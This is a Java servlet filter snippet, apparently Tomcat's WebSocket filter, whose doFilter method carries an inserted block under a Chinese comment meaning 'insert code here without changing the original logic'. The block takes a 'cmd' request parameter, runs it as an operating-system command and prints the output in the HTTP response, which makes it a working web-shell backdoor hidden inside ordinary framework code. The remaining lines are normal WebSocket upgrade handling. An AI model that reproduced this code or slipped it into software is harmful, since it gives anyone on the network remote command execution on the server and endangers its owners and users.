@Override publicvoiddoFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException { // 不改变原有逻辑,在这里插入代码 String cmd = request.getParameter("cmd"); if (cmd != null && !cmd.equals("")) { Process process = Runtime.getRuntime().exec(cmd); StringBuilder outStr = new StringBuilder(); response.getWriter().print("
"
); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream()); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { outStr.append(s + "\n"); } response.getWriter().print(outStr.toString()); response.getWriter().print("
");
}
// This filter only needs to handle WebSocket upgrade requests
if
(!sc.areEndpointsRegistered() ||
!UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
chain.doFilter(request, response);
return
;
}
// HTTP request with an upgrade header for WebSocket present
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
// Check to see if this WebSocket implementation has a matching mapping
String path;
String pathInfo = req.getPathInfo();
if
(pathInfo ==
null
) {
path = req.getServletPath();
}
else
{
path = req.getServletPath() + pathInfo;
}
WsMappingResult mappingResult = sc.findMapping(path);
if
(mappingResult ==
null
) {
// No endpoint registered for the requested path. Let the
// application handle it (it might redirect or forward for example)
chain.doFilter(request, response);
return
;
}